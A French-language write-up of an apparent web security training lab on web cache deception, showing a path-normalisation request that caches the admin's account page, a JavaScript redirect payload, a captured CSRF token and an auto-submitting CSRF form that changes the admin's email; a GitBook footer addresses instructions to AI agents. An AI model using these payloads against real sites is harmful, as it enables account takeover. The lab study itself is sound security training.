> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# Tromperie du cache web avec des règles de correspondance exacte

### Exploitation des règles de cache à correspondance exacte pour la tromperie du cache web

#### Objectif du laboratoire

* Modifier l'adresse e-mail de l'utilisateur **administrateur**.
* Connexion disponible : **wiener:peter**.
* Une liste de délimiteurs est fournie : liste de délimiteurs du laboratoire de tromperie de cache web.

<figure><img src="/files/2d84f8582c611f82233755b4d653bc7d029362df" alt=""><figcaption></figcaption></figure>

#### Contexte observé

* Activé **Mon compte**, il y a un champ pour modifier l'e-mail.
* La requête envoyée ressemble à ceci :

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### Tests des délimiteurs

<figure><img src="/files/ad7ac02709c68744ca6ae3803bc6053192b89f77" alt=""><figcaption></figcaption></figure>

* En testant les caractères de la liste, le site accepte notamment :
* le **point-virgule** `;`
* le **point d'interrogation** `?`

Les attaques classiques ne fonctionnent pas dans ce laboratoire.

<figure><img src="/files/069477d3c8da9da2b6c09d99ad1c3a8699096fb3" alt=""><figcaption></figcaption></figure>

#### Découverte d'une ressource cachée

* Depuis **Cible -> Plan du site**, utilisez **Découvrir le contenu**.

<figure><img src="/files/56b470eaed3a1ecd91f296464df81bbb87c48587" alt=""><figcaption></figcaption></figure>

* Un **fichier robots.txt** apparaît et il est \*\*mis en cache\*\*.

<figure><img src="/files/0a63739b9b11759a0a68805b012ab0a9947a38e8" alt=""><figcaption></figcaption></figure>

#### Réception du cache via normalisation (chemin exact + détour)

Objectif : forcer le cache à stocker une réponse sensible en la faisant passer pour une ressource cachée.

Applications utilisées :

```bash
GET /my-account;/../robots.txt
# Version encodée
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="/files/748b1ee1e0408161629d752d8edc36a9f8c63d5d" alt=""><figcaption></figcaption></figure>

#### Exploitation envoyée à la victime

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

Résultat :

* La page renvoyée correspond à **compte administrateur**.

<figure><img src="/files/4d8efc1aeb747e1816bea3fddad9eba02394fc3a" alt=""><figcaption></figcaption></figure>

Dans la réponse, nous récupérons le **jeton CSRF** depuis le formulaire d'e-mail, par exemple :

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> Mettre à jour l’e-mail </button>
```

#### Étape finale prévue

* Utilisez ce jeton pour générer un **PoC CSRF** pour envoyer une **POST** requête vers la **Mon compte** page de modification de l'e-mail, et ainsi modifier le **administrateur** e-mail.

<figure><img src="/files/a944f2dcbca3743362b55c0f640d39088e3c06be" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="Soumettre la requête" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
